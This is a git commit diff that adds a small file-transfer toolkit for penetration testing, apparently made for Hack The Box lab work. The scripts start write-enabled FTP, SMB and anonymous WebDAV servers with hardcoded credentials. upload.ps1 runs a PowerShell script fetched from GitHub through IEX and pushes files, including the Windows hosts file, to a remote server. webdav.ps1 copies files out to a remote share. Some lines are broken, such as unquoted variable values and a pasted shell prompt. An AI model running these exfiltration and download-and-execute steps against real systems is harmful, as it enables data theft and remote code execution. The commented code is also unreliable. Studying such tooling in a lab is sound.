commit ebaa5c86b0bbbed34f69bc5e650985e6957db263 Author: Mabe Date: Thu May 7 18:57:01 2026 +0200 Add initial implementation of file server, mount, upload, and WebDAV scripts diff --git a/file/fileserver.py b/file/fileserver.py new file mode 100644 index 0000000..bf233fa --- /dev/null +++ b/file/fileserver.py @@ -0,0 +1,5 @@ +import os +os.system('python3 -m pyftpdlib --port 21 --write') +os.system('impacket-smbserver share -smb2support /tmp/smbshare -user user -password Mabe') # Username: user Password: Mabe +os.system('python3 -m uploadserver') +os.system('wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous') \ No newline at end of file diff --git a/file/mount.ps1 b/file/mount.ps1 new file mode 100644 index 0000000..7de0511 --- /dev/null +++ b/file/mount.ps1 @@ -0,0 +1,10 @@ +$server + +net use n: \\$server\share /user:user Mabe + +echo open $server > ftpcommand.txt +echo USER anonymous >> ftpcommand.txt +echo binary >> ftpcommand.txt +echo GET file.txt >> ftpcommand.txt +echo bye >> ftpcommand.txt +ftp -v -n -s:ftpcommand.txt \ No newline at end of file diff --git a/file/upload.ps1 b/file/upload.ps1 new file mode 100644 index 0000000..a78f848 --- /dev/null +++ b/file/upload.ps1 @@ -0,0 +1,12 @@ +$server = 127.0.0.1 +$file = C:\ + +IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1') +PS C:\htb> Invoke-FileUpload -Uri http://$server/upload -File $file + +echo open $server > ftpcommand.txt +echo USER anonymous >> ftpcommand.txt +echo binary >> ftpcommand.txt +echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt +echo bye >> ftpcommand.txt +ftp -v -n -s:ftpcommand.txt \ No newline at end of file diff --git a/file/webdav.ps1 b/file/webdav.ps1 new file mode 100644 index 0000000..a7dea87 --- /dev/null +++ b/file/webdav.ps1 @@ -0,0 +1,5 @@ +$server +$file = C:\ + +dir \\$server\DavWWWRoot +copy $file \\$server\DavWWWRoot\ \ No newline at end of file diff --git a/requirements.json b/requirements.json new file mode 100644 index 0000000..17d44db --- /dev/null +++ b/requirements.json @@ -0,0 +1,7 @@ +[ + "pyftpdlib", + "uploadserver", + "wsgidav", + "cheroot" +] + \ No newline at end of file diff --git a/setup.py b/setup.py new file mode 100644 index 0000000..2588a5f --- /dev/null +++ b/setup.py @@ -0,0 +1,14 @@ +import os +import json + + +modules=[] + + +with open("requirements.json", 'r') as f: + modules = json.load(f) + +for module in modules: + os.system(f'pip3 install {module}') + +os.system('python3 -m pipx install impacket') \ No newline at end of file